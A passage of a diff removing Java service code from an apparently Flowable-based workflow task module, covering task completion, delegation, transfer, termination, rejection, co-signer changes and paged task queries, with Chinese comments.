pi.getProcessDefinitionName()); - // 申请人执行流程 - List taskList = QueryUtils.taskQuery(pi.getId()).list(); - if (taskList.size() > 1) { - throw new ServiceException("请检查流程第一个环节是否为申请人!"); - } - - runtimeService.updateBusinessStatus(pi.getProcessInstanceId(), BusinessStatusEnum.DRAFT.getStatus()); - taskService.setAssignee(taskList.get(0).getId(), LoginHelper.getUserId().toString()); - taskService.setVariable(taskList.get(0).getId(), PROCESS_INSTANCE_ID, pi.getProcessInstanceId()); - taskService.setVariable(taskList.get(0).getId(), BUSINESS_KEY, pi.getBusinessKey()); - map.put("processInstanceId", pi.getProcessInstanceId()); - map.put("taskId", taskList.get(0).getId()); - return map; - } - - /** - * 办理任务 - * - * @param completeTaskBo 办理任务参数 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public boolean completeTask(CompleteTaskBo completeTaskBo) { - try { - String userId = String.valueOf(LoginHelper.getUserId()); - Task task = WorkflowUtils.getTaskByCurrentUser(completeTaskBo.getTaskId()); - if (task == null) { - throw new ServiceException(FlowConstant.MESSAGE_CURRENT_TASK_IS_NULL); - } - if (task.isSuspended()) { - throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); - } - ProcessInstance processInstance = QueryUtils.instanceQuery(task.getProcessInstanceId()).singleResult(); - //办理委托任务 - if (ObjectUtil.isNotEmpty(task.getDelegationState()) && FlowConstant.PENDING.equals(task.getDelegationState().name())) { - taskService.resolveTask(completeTaskBo.getTaskId()); - TaskEntity newTask = WorkflowUtils.createNewTask(task); - taskService.addComment(newTask.getId(), task.getProcessInstanceId(), TaskStatusEnum.PASS.getStatus(), StringUtils.isNotBlank(completeTaskBo.getMessage()) ? completeTaskBo.getMessage() : StrUtil.EMPTY); - taskService.complete(newTask.getId()); - return true; - } - //附件上传 - AttachmentCmd attachmentCmd = new AttachmentCmd(completeTaskBo.getFileId(), task.getId(), task.getProcessInstanceId(), ossService); - managementService.executeCommand(attachmentCmd); - String businessStatus = WorkflowUtils.getBusinessStatus(processInstance.getBusinessKey()); - //流程提交监听 - if (BusinessStatusEnum.DRAFT.getStatus().equals(businessStatus) || BusinessStatusEnum.BACK.getStatus().equals(businessStatus) || BusinessStatusEnum.CANCEL.getStatus().equals(businessStatus)) { - flowProcessEventHandler.processHandler(processInstance.getProcessDefinitionKey(), processInstance.getBusinessKey(), businessStatus, true); - } - runtimeService.updateBusinessStatus(task.getProcessInstanceId(), BusinessStatusEnum.WAITING.getStatus()); - //办理监听 - flowProcessEventHandler.processTaskHandler(processInstance.getProcessDefinitionKey(), task.getTaskDefinitionKey(), - task.getId(), processInstance.getBusinessKey()); - //办理意见 - taskService.addComment(completeTaskBo.getTaskId(), task.getProcessInstanceId(), TaskStatusEnum.PASS.getStatus(), StringUtils.isBlank(completeTaskBo.getMessage()) ? "同意" : completeTaskBo.getMessage()); - //办理任务 - taskService.setAssignee(task.getId(), userId); - if (CollUtil.isNotEmpty(completeTaskBo.getVariables())) { - taskService.complete(completeTaskBo.getTaskId(), completeTaskBo.getVariables()); - } else { - taskService.complete(completeTaskBo.getTaskId()); - } - //记录执行过的流程任务节点 - wfTaskBackNodeService.recordExecuteNode(task); - ProcessInstance pi = QueryUtils.instanceQuery(task.getProcessInstanceId()).singleResult(); - if (pi == null) { - UpdateBusinessStatusCmd updateBusinessStatusCmd = new UpdateBusinessStatusCmd(task.getProcessInstanceId(), BusinessStatusEnum.FINISH.getStatus()); - managementService.executeCommand(updateBusinessStatusCmd); - flowProcessEventHandler.processHandler(processInstance.getProcessDefinitionKey(), processInstance.getBusinessKey(), - BusinessStatusEnum.FINISH.getStatus(), false); - } else { - List list = QueryUtils.taskQuery(task.getProcessInstanceId()).list(); - for (Task t : list) { - if (ModelUtils.isUserTask(t.getProcessDefinitionId(), t.getTaskDefinitionKey())) { - List links = historyService.getHistoricIdentityLinksForTask(t.getId()); - if (CollUtil.isEmpty(links) && StringUtils.isBlank(t.getAssignee())) { - throw new ServiceException("下一节点【" + t.getName() + "】没有办理人!"); - } - } - } - - if (CollUtil.isNotEmpty(list) && CollUtil.isNotEmpty(completeTaskBo.getWfCopyList())) { - TaskEntity newTask = WorkflowUtils.createNewTask(task); - taskService.addComment(newTask.getId(), task.getProcessInstanceId(), TaskStatusEnum.COPY.getStatus(), LoginHelper.getLoginUser().getNickname() + "【抄送】给" + String.join(",", StreamUtils.toList(completeTaskBo.getWfCopyList(), WfCopy::getUserName))); - taskService.complete(newTask.getId()); - List taskList = QueryUtils.taskQuery(task.getProcessInstanceId()).list(); - WorkflowUtils.createCopyTask(taskList, StreamUtils.toList(completeTaskBo.getWfCopyList(), WfCopy::getUserId)); - } - sendMessage(list, processInstance.getName(), completeTaskBo.getMessageType(), null); - } - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - } - - /** - * 发送消息 - * - * @param list 任务 - * @param name 流程名称 - * @param messageType 消息类型 - * @param message 消息内容,为空则发送默认配置的消息内容 - */ - @Async - public void sendMessage(List list, String name, List messageType, String message) { - WorkflowUtils.sendMessage(list, name, messageType, message, userService); - } - - /** - * 查询当前用户的待办任务 - * - * @param taskBo 参数 - */ - @Override - public TableDataInfo getPageByTaskWait(TaskBo taskBo, PageQuery pageQuery) { - QueryWrapper queryWrapper = new QueryWrapper<>(); - List roles = LoginHelper.getLoginUser().getRoles(); - List roleIds = StreamUtils.toList(roles, e -> String.valueOf(e.getRoleId())); - String userId = String.valueOf(LoginHelper.getUserId()); - queryWrapper.eq("t.business_status_", BusinessStatusEnum.WAITING.getStatus()); - queryWrapper.eq(TenantHelper.isEnable(), "t.tenant_id_", TenantHelper.getTenantId()); - String ids = StreamUtils.join(roleIds, x -> "'" + x + "'"); - queryWrapper.and(w1 -> w1.eq("t.assignee_", userId).or(w2 -> w2.isNull("t.assignee_").apply("exists ( select LINK.ID_ from ACT_RU_IDENTITYLINK LINK where LINK.TASK_ID_ = t.ID_ and LINK.TYPE_ = 'candidate' and (LINK.USER_ID_ = {0} or ( LINK.GROUP_ID_ IN (" + ids + ") ) ))", userId))); - if (StringUtils.isNotBlank(taskBo.getName())) { - queryWrapper.like("t.name_", taskBo.getName()); - } - if (StringUtils.isNotBlank(taskBo.getProcessDefinitionName())) { - queryWrapper.like("t.processDefinitionName", taskBo.getProcessDefinitionName()); - } - if (StringUtils.isNotBlank(taskBo.getProcessDefinitionKey())) { - queryWrapper.eq("t.processDefinitionKey", taskBo.getProcessDefinitionKey()); - } - queryWrapper.orderByDesc("t.CREATE_TIME_"); - Page page = actTaskMapper.getTaskWaitByPage(pageQuery.build(), queryWrapper); - - List taskList = page.getRecords(); - if (CollUtil.isNotEmpty(taskList)) { - List processDefinitionIds = StreamUtils.toList(taskList, TaskVo::getProcessDefinitionId); - List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); - for (TaskVo task : taskList) { - task.setBusinessStatusName(BusinessStatusEnum.findByStatus(task.getBusinessStatus())); - task.setParticipantVo(WorkflowUtils.getCurrentTaskParticipant(task.getId(), userService)); - task.setMultiInstance(WorkflowUtils.isMultiInstance(task.getProcessDefinitionId(), task.getTaskDefinitionKey()) != null); - if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { - wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); - wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && e.getNodeId().equals(task.getTaskDefinitionKey()) && FlowConstant.FALSE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); - } - } - } - return TableDataInfo.build(page); - } - - /** - * 查询当前租户所有待办任务 - * - * @param taskBo 参数 - */ - @Override - public TableDataInfo getPageByAllTaskWait(TaskBo taskBo, PageQuery pageQuery) { - TaskQuery query = QueryUtils.taskQuery(); - if (StringUtils.isNotBlank(taskBo.getName())) { - query.taskNameLike("%" + taskBo.getName() + "%"); - } - if (StringUtils.isNotBlank(taskBo.getProcessDefinitionName())) { - query.processDefinitionNameLike("%" + taskBo.getProcessDefinitionName() + "%"); - } - if (StringUtils.isNotBlank(taskBo.getProcessDefinitionKey())) { - query.processDefinitionKey(taskBo.getProcessDefinitionKey()); - } - query.orderByTaskCreateTime().desc(); - List taskList = query.listPage(pageQuery.getFirstNum(), pageQuery.getPageSize()); - List processInstanceList = null; - if (CollUtil.isNotEmpty(taskList)) { - Set processInstanceIds = StreamUtils.toSet(taskList, Task::getProcessInstanceId); - processInstanceList = QueryUtils.instanceQuery(processInstanceIds).list(); - } - List list = new ArrayList<>(); - if (CollUtil.isNotEmpty(taskList)) { - List processDefinitionIds = StreamUtils.toList(taskList, Task::getProcessDefinitionId); - List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); - for (Task task : taskList) { - TaskVo taskVo = BeanUtil.toBean(task, TaskVo.class); - if (CollUtil.isNotEmpty(processInstanceList)) { - processInstanceList.stream().filter(e -> e.getId().equals(task.getProcessInstanceId())).findFirst().ifPresent(e -> { - taskVo.setBusinessStatus(e.getBusinessStatus()); - taskVo.setBusinessStatusName(BusinessStatusEnum.findByStatus(taskVo.getBusinessStatus())); - taskVo.setProcessDefinitionKey(e.getProcessDefinitionKey()); - taskVo.setProcessDefinitionName(e.getProcessDefinitionName()); - taskVo.setProcessDefinitionVersion(e.getProcessDefinitionVersion()); - taskVo.setBusinessKey(e.getBusinessKey()); - }); - } - taskVo.setAssignee(StringUtils.isNotBlank(task.getAssignee()) ? Long.valueOf(task.getAssignee()) : null); - taskVo.setParticipantVo(WorkflowUtils.getCurrentTaskParticipant(task.getId(), userService)); - taskVo.setMultiInstance(WorkflowUtils.isMultiInstance(task.getProcessDefinitionId(), task.getTaskDefinitionKey()) != null); - if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { - wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(taskVo::setWfNodeConfigVo); - wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && e.getNodeId().equals(task.getTaskDefinitionKey()) && FlowConstant.FALSE.equals(e.getApplyUserTask())).findFirst().ifPresent(taskVo::setWfNodeConfigVo); - } - list.add(taskVo); - } - } - long count = query.count(); - TableDataInfo build = TableDataInfo.build(); - build.setRows(list); - build.setTotal(count); - return build; - } - - /** - * 查询当前用户的已办任务 - * - * @param taskBo 参数 - */ - @Override - public TableDataInfo getPageByTaskFinish(TaskBo taskBo, PageQuery pageQuery) { - String userId = String.valueOf(LoginHelper.getUserId()); - QueryWrapper queryWrapper = new QueryWrapper<>(); - queryWrapper.like(StringUtils.isNotBlank(taskBo.getName()), "t.name_", taskBo.getName()); - queryWrapper.like(StringUtils.isNotBlank(taskBo.getProcessDefinitionName()), "t.processDefinitionName", taskBo.getProcessDefinitionName()); - queryWrapper.eq(StringUtils.isNotBlank(taskBo.getProcessDefinitionKey()), "t.processDefinitionKey", taskBo.getProcessDefinitionKey()); - queryWrapper.eq("t.assignee_", userId); - queryWrapper.orderByDesc("t.START_TIME_"); - Page page = actTaskMapper.getTaskFinishByPage(pageQuery.build(), queryWrapper); - - List taskList = page.getRecords(); - if (CollUtil.isNotEmpty(taskList)) { - List processDefinitionIds = StreamUtils.toList(taskList, TaskVo::getProcessDefinitionId); - List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); - for (TaskVo task : taskList) { - task.setBusinessStatusName(BusinessStatusEnum.findByStatus(task.getBusinessStatus())); - if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { - wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); - wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && e.getNodeId().equals(task.getTaskDefinitionKey()) && FlowConstant.FALSE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); - } - } - } - return TableDataInfo.build(page); - } - - /** - * 查询当前用户的抄送 - * - * @param taskBo 参数 - */ - @Override - public TableDataInfo getPageByTaskCopy(TaskBo taskBo, PageQuery pageQuery) { - QueryWrapper queryWrapper = new QueryWrapper<>(); - String userId = String.valueOf(LoginHelper.getUserId()); - if (StringUtils.isNotBlank(taskBo.getName())) { - queryWrapper.like("t.name_", taskBo.getName()); - } - if (StringUtils.isNotBlank(taskBo.getProcessDefinitionName())) { - queryWrapper.like("t.processDefinitionName", taskBo.getProcessDefinitionName()); - } - if (StringUtils.isNotBlank(taskBo.getProcessDefinitionKey())) { - queryWrapper.eq("t.processDefinitionKey", taskBo.getProcessDefinitionKey()); - } - queryWrapper.eq("t.assignee_", userId); - queryWrapper.orderByDesc("t.START_TIME_"); - Page page = actTaskMapper.getTaskCopyByPage(pageQuery.build(), queryWrapper); - - List taskList = page.getRecords(); - if (CollUtil.isNotEmpty(taskList)) { - List processDefinitionIds = StreamUtils.toList(taskList, TaskVo::getProcessDefinitionId); - List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); - for (TaskVo task : taskList) { - task.setBusinessStatusName(BusinessStatusEnum.findByStatus(task.getBusinessStatus())); - if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { - wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); - wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && e.getNodeId().equals(task.getTaskDefinitionKey()) && FlowConstant.FALSE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); - } - } - } - return TableDataInfo.build(page); - } - - /** - * 查询当前租户所有已办任务 - * - * @param taskBo 参数 - */ - @Override - public TableDataInfo getPageByAllTaskFinish(TaskBo taskBo, PageQuery pageQuery) { - QueryWrapper queryWrapper = new QueryWrapper<>(); - queryWrapper.like(StringUtils.isNotBlank(taskBo.getName()), "t.name_", taskBo.getName()); - queryWrapper.like(StringUtils.isNotBlank(taskBo.getProcessDefinitionName()), "t.processDefinitionName", taskBo.getProcessDefinitionName()); - queryWrapper.eq(StringUtils.isNotBlank(taskBo.getProcessDefinitionKey()), "t.processDefinitionKey", taskBo.getProcessDefinitionKey()); - Page page = actTaskMapper.getTaskFinishByPage(pageQuery.build(), queryWrapper); - - List taskList = page.getRecords(); - if (CollUtil.isNotEmpty(taskList)) { - List processDefinitionIds = StreamUtils.toList(taskList, TaskVo::getProcessDefinitionId); - List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); - for (TaskVo task : taskList) { - task.setBusinessStatusName(BusinessStatusEnum.findByStatus(task.getBusinessStatus())); - if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { - wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); - wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && e.getNodeId().equals(task.getTaskDefinitionKey()) && FlowConstant.FALSE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); - } - } - } - return TableDataInfo.build(page); - } - - /** - * 委派任务 - * - * @param delegateBo 参数 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public boolean delegateTask(DelegateBo delegateBo) { - Task task = WorkflowUtils.getTaskByCurrentUser(delegateBo.getTaskId()); - - if (ObjectUtil.isEmpty(task)) { - throw new ServiceException(FlowConstant.MESSAGE_CURRENT_TASK_IS_NULL); - } - if (task.isSuspended()) { - throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); - } - try { - TaskEntity newTask = WorkflowUtils.createNewTask(task); - taskService.addComment(newTask.getId(), task.getProcessInstanceId(), TaskStatusEnum.PENDING.getStatus(), "【" + LoginHelper.getLoginUser().getNickname() + "】委派给【" + delegateBo.getNickName() + "】"); - //委托任务 - taskService.delegateTask(delegateBo.getTaskId(), delegateBo.getUserId()); - //办理生成的任务记录 - taskService.complete(newTask.getId()); - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - } - - /** - * 终止任务 - * - * @param terminationBo 参数 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public boolean terminationTask(TerminationBo terminationBo) { - TaskQuery query = QueryUtils.taskQuery(); - Task task = query.taskId(terminationBo.getTaskId()).singleResult(); - - if (ObjectUtil.isEmpty(task)) { - throw new ServiceException(FlowConstant.MESSAGE_CURRENT_TASK_IS_NULL); - } - if (task.isSuspended()) { - throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); - } - HistoricProcessInstance historicProcessInstance = QueryUtils.hisInstanceQuery().processInstanceId(task.getProcessInstanceId()).singleResult(); - BusinessStatusEnum.checkInvalidStatus(historicProcessInstance.getBusinessStatus()); - try { - if (StringUtils.isBlank(terminationBo.getComment())) { - terminationBo.setComment(LoginHelper.getLoginUser().getNickname() + "终止了申请"); - } else { - terminationBo.setComment(LoginHelper.getLoginUser().getNickname() + "终止了申请:" + terminationBo.getComment()); - } - taskService.addComment(task.getId(), task.getProcessInstanceId(), TaskStatusEnum.TERMINATION.getStatus(), terminationBo.getComment()); - List list = QueryUtils.taskQuery(task.getProcessInstanceId()).list(); - if (CollUtil.isNotEmpty(list)) { - List subTasks = StreamUtils.filter(list, e -> StringUtils.isNotBlank(e.getParentTaskId())); - if (CollUtil.isNotEmpty(subTasks)) { - subTasks.forEach(e -> taskService.deleteTask(e.getId())); - } - runtimeService.updateBusinessStatus(task.getProcessInstanceId(), BusinessStatusEnum.TERMINATION.getStatus()); - runtimeService.deleteProcessInstance(task.getProcessInstanceId(), StrUtil.EMPTY); - } - //流程终止监听 - flowProcessEventHandler.processHandler(historicProcessInstance.getProcessDefinitionKey(), - historicProcessInstance.getBusinessKey(), BusinessStatusEnum.TERMINATION.getStatus(), false); - return true; - } catch (Exception e) { - throw new ServiceException(e.getMessage()); - } - } - - /** - * 转办任务 - * - * @param transmitBo 参数 - */ - @Override - public boolean transferTask(TransmitBo transmitBo) { - Task task = WorkflowUtils.getTaskByCurrentUser(transmitBo.getTaskId()); - if (ObjectUtil.isEmpty(task)) { - throw new ServiceException(FlowConstant.MESSAGE_CURRENT_TASK_IS_NULL); - } - if (task.isSuspended()) { - throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); - } - try { - TaskEntity newTask = WorkflowUtils.createNewTask(task); - taskService.addComment(newTask.getId(), task.getProcessInstanceId(), TaskStatusEnum.TRANSFER.getStatus(), StringUtils.isNotBlank(transmitBo.getComment()) ? transmitBo.getComment() : LoginHelper.getUsername() + "转办了任务"); - taskService.complete(newTask.getId()); - taskService.setAssignee(task.getId(), transmitBo.getUserId()); - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - } - - /** - * 会签任务加签 - * - * @param addMultiBo 参数 - */ - @Override - public boolean addMultiInstanceExecution(AddMultiBo addMultiBo) { - TaskQuery taskQuery = QueryUtils.taskQuery(); - taskQuery.taskId(addMultiBo.getTaskId()); - if (!LoginHelper.isSuperAdmin() && !LoginHelper.isTenantAdmin()) { - taskQuery.taskCandidateOrAssigned(String.valueOf(LoginHelper.getUserId())); - } - Task task = taskQuery.singleResult(); - if (ObjectUtil.isEmpty(task)) { - throw new ServiceException(FlowConstant.MESSAGE_CURRENT_TASK_IS_NULL); - } - if (task.isSuspended()) { - throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); - } - String taskDefinitionKey = task.getTaskDefinitionKey(); - String processInstanceId = task.getProcessInstanceId(); - String processDefinitionId = task.getProcessDefinitionId(); - - try { - MultiInstanceVo multiInstanceVo = WorkflowUtils.isMultiInstance(processDefinitionId, taskDefinitionKey); - if (multiInstanceVo == null) { - throw new ServiceException("当前环节不是会签节点"); - } - if (multiInstanceVo.getType() instanceof ParallelMultiInstanceBehavior) { - for (Long assignee : addMultiBo.getAssignees()) { - runtimeService.addMultiInstanceExecution(taskDefinitionKey, processInstanceId, Collections.singletonMap(multiInstanceVo.getAssignee(), assignee)); - } - } else if (multiInstanceVo.getType() instanceof SequentialMultiInstanceBehavior) { - AddSequenceMultiInstanceCmd addSequenceMultiInstanceCmd = new AddSequenceMultiInstanceCmd(task.getExecutionId(), multiInstanceVo.getAssigneeList(), addMultiBo.getAssignees()); - managementService.executeCommand(addSequenceMultiInstanceCmd); - } - List assigneeNames = addMultiBo.getAssigneeNames(); - String username = LoginHelper.getUsername(); - TaskEntity newTask = WorkflowUtils.createNewTask(task); - taskService.addComment(newTask.getId(), processInstanceId, TaskStatusEnum.SIGN.getStatus(), username + "加签【" + String.join(StringUtils.SEPARATOR, assigneeNames) + "】"); - taskService.complete(newTask.getId()); - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - } - - /** - * 会签任务减签 - * - * @param deleteMultiBo 参数 - */ - @Override - public boolean deleteMultiInstanceExecution(DeleteMultiBo deleteMultiBo) { - TaskQuery taskQuery = QueryUtils.taskQuery(); - taskQuery.taskId(deleteMultiBo.getTaskId()); - if (!LoginHelper.isSuperAdmin() && !LoginHelper.isTenantAdmin()) { - taskQuery.taskCandidateOrAssigned(String.valueOf(LoginHelper.getUserId())); - } - Task task = taskQuery.singleResult(); - if (ObjectUtil.isEmpty(task)) { - throw new ServiceException(FlowConstant.MESSAGE_CURRENT_TASK_IS_NULL); - } - if (task.isSuspended()) { - throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); - } - String taskDefinitionKey = task.getTaskDefinitionKey(); - String processInstanceId = task.getProcessInstanceId(); - String processDefinitionId = task.getProcessDefinitionId(); - try { - MultiInstanceVo multiInstanceVo = WorkflowUtils.isMultiInstance(processDefinitionId, taskDefinitionKey); - if (multiInstanceVo == null) { - throw new ServiceException("当前环节不是会签节点"); - } - if (multiInstanceVo.getType() instanceof ParallelMultiInstanceBehavior) { - for (String executionId : deleteMultiBo.getExecutionIds()) { - runtimeService.deleteMultiInstanceExecution(executionId, false); - } - for (String taskId : deleteMultiBo.getTaskIds()) { - historyService.deleteHistoricTaskInstance(taskId); - } - } else if (multiInstanceVo.getType() instanceof SequentialMultiInstanceBehavior) { - DeleteSequenceMultiInstanceCmd deleteSequenceMultiInstanceCmd = new DeleteSequenceMultiInstanceCmd(task.getAssignee(), task.getExecutionId(), multiInstanceVo.getAssigneeList(), deleteMultiBo.getAssigneeIds()); - managementService.executeCommand(deleteSequenceMultiInstanceCmd); - } - List assigneeNames = deleteMultiBo.getAssigneeNames(); - String username = LoginHelper.getUsername(); - TaskEntity newTask = WorkflowUtils.createNewTask(task); - taskService.addComment(newTask.getId(), processInstanceId, TaskStatusEnum.SIGN_OFF.getStatus(), username + "减签【" + String.join(StringUtils.SEPARATOR, assigneeNames) + "】"); - taskService.complete(newTask.getId()); - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - } - - /** - * 驳回审批 - * - * @param backProcessBo 参数 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public String backProcess(BackProcessBo backProcessBo) { - String userId = String.valueOf(LoginHelper.getUserId()); - Task task = WorkflowUtils.getTaskByCurrentUser(backProcessBo.getTaskId()); - - if (ObjectUtil.isEmpty(task)) { - throw new ServiceException(FlowConstant.MESSAGE_CURRENT_TASK_IS_NULL); - } - if (task.isSuspended()) { - throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); - } - try { - String processInstanceId = task.getProcessInstanceId(); - ProcessInstance processInstance = QueryUtils.instanceQuery(task.getProcessInstanceId()).singleResult(); - //获取并行网关执行后保留的执行实例数据 - ExecutionChildByExecutionIdCmd childByExecutionIdCmd = new ExecutionChildByExecutionIdCmd(task.getExecutionId()); - List executionEntities = managementService.executeCommand(childByExecutionIdCmd); - //校验单据 - BusinessStatusEnum.checkBackStatus(processInstance.getBusinessStatus()); - //判断是否有多个任务 - List taskList = QueryUtils.taskQuery(processInstanceId).list(); - String backTaskDefinitionKey = backProcessBo.getTargetActivityId(); - taskService.addComment(task.getId(), processInstanceId, TaskStatusEnum.BACK.getStatus(), StringUtils.isNotBlank(backProcessBo.getMessage()) ? backProcessBo.getMessage() : "退回"); - if (taskList.size() > 1) { - //当前多个任务驳回到单个节点 - runtimeService.createChangeActivityStateBuilder().processInstanceId(processInstanceId).moveActivityIdsToSingleActivityId(taskList.stream().map(Task::getTaskDefinitionKey).distinct().collect(Collectors.toList()), backTaskDefinitionKey).changeState(); - ActHiTaskinst actHiTaskinst = new ActHiTaskinst(); - actHiTaskinst.setAssignee(userId); - actHiTaskinst.setId(task.getId()); - actHiTaskinstMapper.updateById(actHiTaskinst); - } else { - //当前单个节点驳回单个节点 - runtimeService.createChangeActivityStateBuilder().processInstanceId(processInstanceId).moveActivityIdTo(task.getTaskDefinitionKey(), backTaskDefinitionKey).changeState(); - } - //删除并行环节未办理记录 - MultiInstanceVo multiInstance = WorkflowUtils.isMultiInstance(task.getProcessDefinitionId(), task.getTaskDefinitionKey()); - if (multiInstance == null && taskList.size() > 1) { - List tasks = StreamUtils.filter(taskList, e -> !e.getTaskDefinitionKey().equals(task.getTaskDefinitionKey())); - if (CollUtil.isNotEmpty(tasks)) { - actHiTaskinstMapper.deleteByIds(StreamUtils.toList(tasks, Task::getId)); - } - } - - - List instanceList = QueryUtils.hisTaskInstanceQuery(processInstanceId).finished().orderByHistoricTaskInstanceEndTime().desc().list(); - List list = QueryUtils.taskQuery(processInstanceId).list(); - for (Task t : list) { - instanceList.stream().filter(e -> e.getTaskDefinitionKey().equals(t.getTaskDefinitionKey())).findFirst().ifPresent(e -> { - taskService.setAssignee(t.getId(), e.getAssignee()); - }); - } - //发送消息 - String message = "您的【" + processInstance.getName() + "】单据已经被驳回,请您注意查收。"; - sendMessage(list, processInstance.getName(), backProcessBo.getMessageType(), message); - //删除流程实例垃圾数据 - for (ExecutionEntity executionEntity : executionEntities) { - DeleteExecutionCmd deleteExecutionCmd = new DeleteExecutionCmd(executionEntity.getId()); - managementService.executeCommand(deleteExecutionCmd); - } - - WfTaskBackNode wfTaskBackNode = wfTaskBackNodeService.getListByInstanceIdAndNodeId(task.getProcessInstanceId(), backProcessBo.getTargetActivityId()); - if (ObjectUtil.isNotNull(wfTaskBackNode) && wfTaskBackNode.getOrderNo() == 0) { - runtimeService.updateBusinessStatus(processInstanceId, BusinessStatusEnum.BACK.getStatus()); - flowProcessEventHandler.processHandler(processInstance.getProcessDefinitionKey(), - processInstance.getBusinessKey(), BusinessStatusEnum.BACK.getStatus(), false); - } - //删除驳回后的流程节点 - wfTaskBackNodeService.deleteBackTaskNode(processInstanceId, backProcessBo.getTargetActivityId()); - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - return task.getProcessInstanceId(); - } - - /** - * 修改任务办理人 - * - * @param taskIds 任务id - * @param userId 办理人id - */ - @Override - @Transactional(rollbackFor = Exception.class) - public boolean updateAssignee(String[] taskIds, String userId) { - try { - List list = QueryUtils.taskQuery().taskIds(Arrays.asList(taskIds)).list(); - for (Task task : list) { - taskService.setAssignee(task.getId(), userId); - } - } catch (Exception e) { - log.error("修改失败:" + e.getMessage(), e); - throw new ServiceException("修改失败:" + e.getMessage()); - } - return true; - } - - /** - * 查询流程变量 - * - * @param taskId 任务id - */ - @Override - public List getInstanceVariable(String taskId) { - List variableVoList = new ArrayList<>(); - Map variableInstances = taskService.getVariableInstances(taskId); - if (CollUtil.isNotEmpty(variableInstances)) { - for (Map.Entry entry : variableInstances.entrySet()) { - VariableVo variableVo = new VariableVo(); - variableVo.setKey(entry.getKey()); - variableVo.setValue(entry.getValue().getValue().toString()); - variableVoList.add(variableVo); - } - } - return variableVoList; - } - - /** - * 查询工作流任务用户选择加签人员 - * - * @param taskId 任务id - * @return - */ - @Override - @SuppressWarnings("unchecked") - public String getTaskUserIdsByAddMultiInstance(String taskId) { - Task task = QueryUtils.taskQuery().taskId(taskId).singleResult(); - if (task == null) { - throw new ServiceException("任务不存在"); - } - MultiInstanceVo multiInstance = WorkflowUtils.isMultiInstance(task.getProcessDefinitionId(), task.getTaskDefinitionKey()); - if (multiInstance == null) { - return ""; - } - List userIds; - if (multiInstance.getType() instanceof SequentialMultiInstanceBehavior) { - userIds = (List) runtimeService.getVariable(task.getExecutionId(), multiInstance.getAssigneeList()); - } else { - List list = QueryUtils.taskQuery(task.getProcessInstanceId()).list(); - userIds = StreamUtils.toList(list, e -> Long.valueOf(e.getAssignee())); - } - return StringUtils.join(userIds, StringUtils.SEPARATOR); - } - - /** - * 查询工作流选择减签人员 - * - * @param taskId 任务id 任务id - */ - @Override - @SuppressWarnings("unchecked") - public List getListByDeleteMultiInstance(String taskId) { - Task task = QueryUtils.taskQuery().taskId(taskId).singleResult(); - List taskList = QueryUtils.taskQuery(task.getProcessInstanceId()).list(); - MultiInstanceVo multiInstance = WorkflowUtils.isMultiInstance(task.getProcessDefinitionId(), task.getTaskDefinitionKey()); - List taskListVo = new ArrayList<>(); - if (multiInstance == null) { - return List.of(); - } - List assigneeList = new ArrayList<>(); - if (multiInstance.getType() instanceof SequentialMultiInstanceBehavior) { - List variable = (List) runtimeService.getVariable(task.getExecutionId(), multiInstance.getAssigneeList()); - for (Object o : variable) { - 